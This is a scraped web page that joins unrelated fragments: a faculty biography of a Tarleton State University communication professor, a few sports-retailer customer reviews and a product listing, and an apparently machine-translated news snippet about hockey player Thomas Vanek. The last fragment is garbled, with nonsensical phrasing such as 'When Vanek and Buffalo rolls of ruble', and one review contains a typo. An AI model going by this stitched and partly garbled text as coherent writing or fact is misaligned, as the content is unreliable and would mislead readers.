Dr. Jennifer T. Edwards
Dr. Jennifer T. Edwards serves as the Assistant Vice-President for Student Success and Multicultural Initiatives and Associate Professor of Communication Studies at Tarleton State University. She is the 2012 recipient of the Tarleton State University Jack and Louise Arthur Award for Excellence in Teaching, 2011 recipient of the Tarleton State University Barry B. Thompson Award for Excellence in Service Award, and two of Texas A&M University System Student Recognition Awards for Teaching Excellence in 2011 and 2012. Edwards also serves at the executive director of the Texas Social Media Research Institute (a social media initiative based at Tarleton State University).
Edwards has over 20 research publications, over 50 conference presentations, and several university and state grants to her name. Her dissertation, "Supports and Barriers to On-Time Graduation of African American Undergraduate Students" received the Dissertation of the Year Award from the Texas Association College and University Student Personnel Administrators. Her research interests include: computer-mediated-communication, the millennial generation, undergraduate research, and service learning. Please connect with her on her Twitter account @drjtedwardsTSU.


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"Great product, spacious. Delivery was fast." (E46625)
"Soccer balls take time to fill out their shape and size correctly. The balls are ding that right now. They seem to be high quality and great for the price." (E8472)
"Great jersey for the price. Sure to use this website again in the future. Thank you" (E13668)
Epic Sports
Charles River Victory Hooded Sweatshirts Unisex [E11788]


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'A Styrian brings the Stanley Cup? The most coveted trophy in the hockey world in Styrian hands? Since it has succeeded Thomas Vanek, the world's best league, the NHL, he dreamed of this. Since then he repeated like a mantra before each season starts: "The aim is solely the Cup." '
When Vanek and Buffalo rolls of ruble
October 6, 2011 Submitted by
Via: Graz Kleine Zeitung